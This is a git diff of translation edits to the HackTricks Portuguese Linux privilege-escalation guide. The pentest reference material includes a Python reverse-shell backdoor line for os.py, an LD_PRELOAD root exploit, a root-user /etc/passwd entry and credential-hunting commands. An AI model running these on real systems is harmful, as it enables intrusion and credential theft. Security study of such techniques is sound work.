mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l
This commit is contained in:
Translator
parent
96953c08f4
commit
d973ce7315
@ -96,6 +96,7 @@
|
||||
|
||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
||||
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### Informações do SO
|
||||
|
||||
Vamos começar a obter algumas informações sobre o SO em execução
|
||||
Vamos começar a adquirir algum conhecimento sobre o SO em execução
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
@ -18,7 +18,7 @@ Se você **tiver permissões de escrita em qualquer pasta dentro da variável `P
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
### Informações do ambiente
|
||||
### Env info
|
||||
|
||||
Informações interessantes, senhas ou chaves de API nas variáveis de ambiente?
|
||||
```bash
|
||||
@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash
|
||||
```
|
||||
### Dmesg assinatura de verificação falhou
|
||||
|
||||
Verifique a **caixa smasher2 do HTB** para um **exemplo** de como essa vulnerabilidade pode ser explorada.
|
||||
Verifique a **caixa smasher2 do HTB** para um **exemplo** de como essa vulnerabilidade pode ser explorada
|
||||
```bash
|
||||
dmesg 2>/dev/null | grep "signature"
|
||||
```
|
||||
@ -86,7 +86,7 @@ date 2>/dev/null #Date
|
||||
lscpu #CPU info
|
||||
lpstat -a 2>/dev/null #Printers info
|
||||
```
|
||||
## Enumerar possíveis defesas
|
||||
## Enumere as defesas possíveis
|
||||
|
||||
### AppArmor
|
||||
```bash
|
||||
@ -144,7 +144,7 @@ Enumere binários úteis
|
||||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendável compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante).
|
||||
Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante).
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
@ -178,7 +178,7 @@ Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/ps
|
||||
### Memória do processo
|
||||
|
||||
Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\
|
||||
Normalmente, você precisará de **privilegios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso geralmente é mais útil quando você já é root e deseja descobrir mais credenciais.\
|
||||
Normalmente, você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso geralmente é mais útil quando você já é root e deseja descobrir mais credenciais.\
|
||||
No entanto, lembre-se de que **como um usuário comum, você pode ler a memória dos processos que possui**.
|
||||
|
||||
> [!WARNING]
|
||||
@ -231,7 +231,7 @@ rm $1*.bin
|
||||
#### /dev/mem
|
||||
|
||||
`/dev/mem` fornece acesso à **memória** física do sistema, não à memória virtual. O espaço de endereço virtual do kernel pode ser acessado usando /dev/kmem.\
|
||||
Normalmente, `/dev/mem` é legível apenas por **root** e pelo grupo **kmem**.
|
||||
Normalmente, `/dev/mem` é apenas legível por **root** e o grupo **kmem**.
|
||||
```
|
||||
strings /dev/mem -n10 | grep -i PASS
|
||||
```
|
||||
@ -385,7 +385,7 @@ Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/
|
||||
|
||||
### Binários de serviço graváveis
|
||||
|
||||
Tenha em mente que se você tiver **permissões de gravação sobre binários sendo executados por serviços**, você pode alterá-los para backdoors, de modo que, quando os serviços forem reexecutados, os backdoors serão executados.
|
||||
Tenha em mente que se você tiver **permissões de gravação sobre binários sendo executados por serviços**, você pode alterá-los para backdoors, de modo que quando os serviços forem reexecutados, os backdoors serão executados.
|
||||
|
||||
### PATH do systemd - Caminhos Relativos
|
||||
|
||||
@ -403,23 +403,23 @@ Então, crie um **executável** com o **mesmo nome que o caminho relativo do bin
|
||||
|
||||
**Saiba mais sobre serviços com `man systemd.service`.**
|
||||
|
||||
## **Timers**
|
||||
## **Temporizadores**
|
||||
|
||||
**Timers** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Timers** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monótono e podem ser executados de forma assíncrona.
|
||||
**Temporizadores** são arquivos de unidade systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Temporizadores** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados de forma assíncrona.
|
||||
|
||||
Você pode enumerar todos os timers com:
|
||||
Você pode enumerar todos os temporizadores com:
|
||||
```bash
|
||||
systemctl list-timers --all
|
||||
```
|
||||
### Writable timers
|
||||
### Temporizadores graváveis
|
||||
|
||||
Se você pode modificar um timer, pode fazê-lo executar algumas instâncias de systemd.unit (como um `.service` ou um `.target`)
|
||||
Se você pode modificar um temporizador, pode fazê-lo executar algumas instâncias de systemd.unit (como um `.service` ou um `.target`)
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
Na documentação, você pode ler o que é a Unidade:
|
||||
|
||||
> A unidade a ser ativada quando este temporizador expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um serviço que tem o mesmo nome que a unidade do temporizador, exceto pelo sufixo. (Veja acima.) É recomendável que o nome da unidade que é ativada e o nome da unidade do temporizador sejam nomeados de forma idêntica, exceto pelo sufixo.
|
||||
> A unidade a ser ativada quando este temporizador expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um serviço que tem o mesmo nome que a unidade do temporizador, exceto pelo sufixo. (Veja acima.) É recomendável que o nome da unidade que é ativada e o nome da unidade do temporizador tenham nomes idênticos, exceto pelo sufixo.
|
||||
|
||||
Portanto, para abusar dessa permissão, você precisaria:
|
||||
|
||||
@ -446,7 +446,7 @@ Os sockets podem ser configurados usando arquivos `.socket`.
|
||||
**Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número da porta para escutar, etc.)
|
||||
- `Accept`: Aceita um argumento booleano. Se **verdadeiro**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **falso**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é falso**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma maneira que seja adequada para `Accept=no`.
|
||||
- `Accept`: Aceita um argumento booleano. Se **verdadeiro**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **falso**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é falso**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma forma que seja adequada para `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta são **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido por argumentos para o processo.
|
||||
- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta são **fechados** e removidos, respectivamente.
|
||||
- `Service`: Especifica o nome da unidade de **serviço** **a ser ativada** no **tráfego recebido**. Esta configuração é permitida apenas para sockets com Accept=no. O padrão é o serviço que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção.
|
||||
@ -489,7 +489,7 @@ Se o socket **responder com uma requisição HTTP**, então você pode **comunic
|
||||
|
||||
### Socket Docker Gravável
|
||||
|
||||
O socket Docker, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e membros do grupo `docker`. Possuir acesso de gravação a este socket pode levar à escalada de privilégios. Aqui está uma análise de como isso pode ser feito e métodos alternativos se o Docker CLI não estiver disponível.
|
||||
O socket Docker, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e membros do grupo `docker`. Possuir acesso de gravação a este socket pode levar à escalada de privilégios. Aqui está uma análise de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível.
|
||||
|
||||
#### **Escalada de Privilégios com Docker CLI**
|
||||
|
||||
@ -536,7 +536,7 @@ Após configurar a conexão `socat`, você pode executar comandos diretamente no
|
||||
|
||||
### Outros
|
||||
|
||||
Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**API do docker estiver escutando em uma porta**, você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**API do docker estiver ouvindo em uma porta**, você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Verifique **mais maneiras de sair do docker ou abusar dele para escalar privilégios** em:
|
||||
|
||||
@ -564,13 +564,13 @@ runc-privilege-escalation.md
|
||||
|
||||
D-Bus é um sofisticado **sistema de Comunicação Interprocessos (IPC)** que permite que aplicativos interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicativos.
|
||||
|
||||
O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, lembrando **sockets de domínio UNIX aprimorados**. Além disso, ajuda na transmissão de eventos ou sinais, promovendo uma integração perfeita entre os componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer com que um reprodutor de música mude para mudo, melhorando a experiência do usuário. Além disso, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviços e invocações de métodos entre aplicativos, agilizando processos que eram tradicionalmente complexos.
|
||||
O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscentes de **sockets de domínio UNIX aprimorados**. Além disso, ajuda na transmissão de eventos ou sinais, promovendo uma integração perfeita entre os componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer um reprodutor de música silenciar, melhorando a experiência do usuário. Além disso, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviços e invocações de métodos entre aplicativos, agilizando processos que eram tradicionalmente complexos.
|
||||
|
||||
O D-Bus opera em um **modelo de permitir/negar**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política correspondentes. Essas políticas especificam interações com o barramento, permitindo potencialmente a escalada de privilégios através da exploração dessas permissões.
|
||||
|
||||
Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`.
|
||||
|
||||
Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas de contexto "padrão" se aplicam a todos que não estão cobertos por outras políticas específicas.
|
||||
Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto as políticas de contexto "padrão" se aplicam a todos que não estão cobertos por outras políticas específicas.
|
||||
```xml
|
||||
<policy user="root">
|
||||
<allow own="fi.w1.wpa_supplicant1"/>
|
||||
@ -621,7 +621,7 @@ Sempre verifique os serviços de rede em execução na máquina com a qual você
|
||||
```
|
||||
### Sniffing
|
||||
|
||||
Verifique se você pode capturar tráfego. Se você puder, poderá conseguir algumas credenciais.
|
||||
Verifique se você pode capturar o tráfego. Se você puder, poderá conseguir algumas credenciais.
|
||||
```
|
||||
timeout 1 tcpdump
|
||||
```
|
||||
@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
|
||||
```
|
||||
### Big UID
|
||||
|
||||
Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais informações: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) e [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais informações: [aqui](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [aqui](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) e [aqui](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**Exploit it** usando: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
@ -677,7 +677,7 @@ echo "Highlighted text: "`xsel -o 2>/dev/null`
|
||||
else echo "Not found xsel and xclip"
|
||||
fi
|
||||
```
|
||||
### Política de Senha
|
||||
### Política de Senhas
|
||||
```bash
|
||||
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
|
||||
```
|
||||
@ -687,18 +687,18 @@ Se você **sabe alguma senha** do ambiente **tente fazer login como cada usuári
|
||||
|
||||
### Su Brute
|
||||
|
||||
Se não se importar em fazer muito barulho e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar forçar a entrada de usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
Se você não se importa em fazer muito barulho e os binários `su` e `timeout` estão presentes no computador, você pode tentar forçar a entrada de usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta forçar a entrada de usuários.
|
||||
|
||||
## Abusos de PATH gravável
|
||||
|
||||
### $PATH
|
||||
|
||||
Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
|
||||
Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** você pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
|
||||
|
||||
### SUDO e SUID
|
||||
|
||||
Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique usando:
|
||||
Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique isso usando:
|
||||
```bash
|
||||
sudo -l #Check commands you can execute with sudo
|
||||
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
||||
@ -769,7 +769,7 @@ Essa técnica também pode ser usada se um **suid** binário **executar outro co
|
||||
|
||||
### Binário SUID com caminho de comando
|
||||
|
||||
Se o **suid** binário **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** nomeada como o comando que o arquivo suid está chamando.
|
||||
Se o binário **suid** **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** nomeada como o comando que o arquivo suid está chamando.
|
||||
|
||||
Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_, você deve tentar criar a função e exportá-la:
|
||||
```bash
|
||||
@ -780,7 +780,7 @@ Então, quando você chama o binário suid, esta função será executada
|
||||
|
||||
### LD_PRELOAD & **LD_LIBRARY_PATH**
|
||||
|
||||
A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so files) a serem carregadas pelo carregador antes de todas as outras, incluindo a biblioteca padrão C (`libc.so`). Este processo é conhecido como pré-carregamento de uma biblioteca.
|
||||
A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so files) a serem carregadas pelo carregador antes de todas as outras, incluindo a biblioteca C padrão (`libc.so`). Este processo é conhecido como pré-carregamento de uma biblioteca.
|
||||
|
||||
No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, particularmente com executáveis **suid/sgid**, o sistema impõe certas condições:
|
||||
|
||||
@ -809,12 +809,12 @@ Então **compile-o** usando:
|
||||
cd /tmp
|
||||
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
```
|
||||
Finalmente, **escalando privilégios** executando
|
||||
Finalmente, **escalar privilégios** executando
|
||||
```bash
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Um privesc semelhante pode ser abusado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas.
|
||||
> Uma privesc semelhante pode ser abusada se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -892,7 +892,7 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada
|
||||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando.
|
||||
[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você pode **apenas injetar argumentos** em um comando.
|
||||
|
||||
O projeto coleta funções legítimas de binários Unix que podem ser abusadas para sair de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar shells bind e reverse, e facilitar outras tarefas de pós-exploração.
|
||||
|
||||
@ -911,7 +911,7 @@ https://gtfoargs.github.io/
|
||||
|
||||
### FallOfSudo
|
||||
|
||||
Se você pode acessar `sudo -l`, pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se encontra uma forma de explorar qualquer regra do sudo.
|
||||
Se você pode acessar `sudo -l`, pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se encontra uma maneira de explorar qualquer regra do sudo.
|
||||
|
||||
### Reutilizando Tokens Sudo
|
||||
|
||||
@ -979,9 +979,9 @@ permit nopass demo as root cmd vim
|
||||
```
|
||||
### Sudo Hijacking
|
||||
|
||||
Se você sabe que um **usuário geralmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell dentro desse contexto de usuário, você pode **criar um novo executável sudo** que executará seu código como root e, em seguida, o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo, adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado.
|
||||
Se você sabe que um **usuário geralmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell dentro desse contexto de usuário, você pode **criar um novo executável sudo** que executará seu código como root e, em seguida, o comando do usuário. Então, **modifique o $PATH** do contexto do usuário (por exemplo, adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado.
|
||||
|
||||
Observe que, se o usuário usar um shell diferente (não bash), você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
Note que se o usuário usar um shell diferente (não bash), você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
|
||||
Ou executando algo como:
|
||||
```bash
|
||||
@ -1158,7 +1158,7 @@ Você precisa definir essa opção em `$HOME/.ssh.config` assim:
|
||||
Host example.com
|
||||
ForwardAgent yes
|
||||
```
|
||||
Observe que se `Host` for `*`, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança).
|
||||
Note que se `Host` for `*`, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança).
|
||||
|
||||
O arquivo `/etc/ssh_config` pode **substituir** essas **opções** e permitir ou negar essa configuração.\
|
||||
O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o encaminhamento do ssh-agent com a palavra-chave `AllowAgentForwarding` (o padrão é permitir).
|
||||
@ -1173,7 +1173,7 @@ ssh-forward-agent-exploitation.md
|
||||
|
||||
### Arquivos de Perfis
|
||||
|
||||
O arquivo `/etc/profile` e os arquivos sob `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, poderá escalar privilégios**.
|
||||
O arquivo `/etc/profile` e os arquivos sob `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, você pode escalar privilégios**.
|
||||
```bash
|
||||
ls -l /etc/profile /etc/profile.d/
|
||||
```
|
||||
@ -1188,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
#Shadow equivalent files
|
||||
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
|
||||
```
|
||||
Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente).
|
||||
Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente)
|
||||
```bash
|
||||
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
```
|
||||
@ -1200,7 +1200,7 @@ openssl passwd -1 -salt hacker hacker
|
||||
mkpasswd -m SHA-512 hacker
|
||||
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
|
||||
```
|
||||
Em seguida, adicione o usuário `hacker` e adicione a senha gerada.
|
||||
Então adicione o usuário `hacker` e adicione a senha gerada.
|
||||
```
|
||||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||||
```
|
||||
@ -1221,7 +1221,7 @@ Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por
|
||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||
```
|
||||
Por exemplo, se a máquina estiver executando um **tomcat** server e você puder **modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/,** então você pode modificar as linhas:
|
||||
Por exemplo, se a máquina estiver executando um **servidor tomcat** e você puder **modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/,** então você pode modificar as linhas:
|
||||
```
|
||||
ExecStart=/path/to/backdoor
|
||||
User=root
|
||||
@ -1260,7 +1260,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
|
||||
```bash
|
||||
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
|
||||
```
|
||||
### \*\_histórico, .sudo_as_admin_successful, perfil, bashrc, httpd.conf, .plano, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml arquivos
|
||||
### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml arquivos
|
||||
```bash
|
||||
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
|
||||
```
|
||||
@ -1292,7 +1292,7 @@ Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalat
|
||||
### Logs
|
||||
|
||||
Se você puder ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho o log, mais interessante ele será (provavelmente).\
|
||||
Além disso, alguns **logs de auditoria** "**mal**" configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
Além disso, alguns logs de **auditoria** "**mal**" configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
@ -1310,22 +1310,22 @@ Para **ler logs o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-g
|
||||
~/.zlogin #zsh shell
|
||||
~/.zshrc #zsh shell
|
||||
```
|
||||
### Pesquisa/Regex de Credenciais Genéricas
|
||||
### Generic Creds Search/Regex
|
||||
|
||||
Você também deve verificar arquivos que contêm a palavra "**password**" em seu **nome** ou dentro do **conteúdo**, e também verificar IPs e emails dentro de logs, ou expressões regulares de hashes.\
|
||||
Não vou listar aqui como fazer tudo isso, mas se você estiver interessado, pode verificar as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza.
|
||||
|
||||
## Arquivos Graváveis
|
||||
## Writable files
|
||||
|
||||
### Sequestro de Biblioteca Python
|
||||
### Python library hijacking
|
||||
|
||||
Se você souber **de onde** um script python será executado e **puder escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e criar um backdoor (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py).
|
||||
Se você souber **de onde** um script python será executado e **puder escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e backdoor ela (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py).
|
||||
|
||||
Para **criar um backdoor na biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT):
|
||||
Para **backdoor a biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT):
|
||||
```python
|
||||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||||
```
|
||||
### Exploração do Logrotate
|
||||
### Exploração do logrotate
|
||||
|
||||
Uma vulnerabilidade no `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai potencialmente ganhem privilégios elevados. Isso ocorre porque o `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar as permissões não apenas em _/var/log_, mas também em qualquer diretório onde a rotação de logs é aplicada.
|
||||
|
||||
@ -1344,7 +1344,7 @@ Esta vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvede
|
||||
|
||||
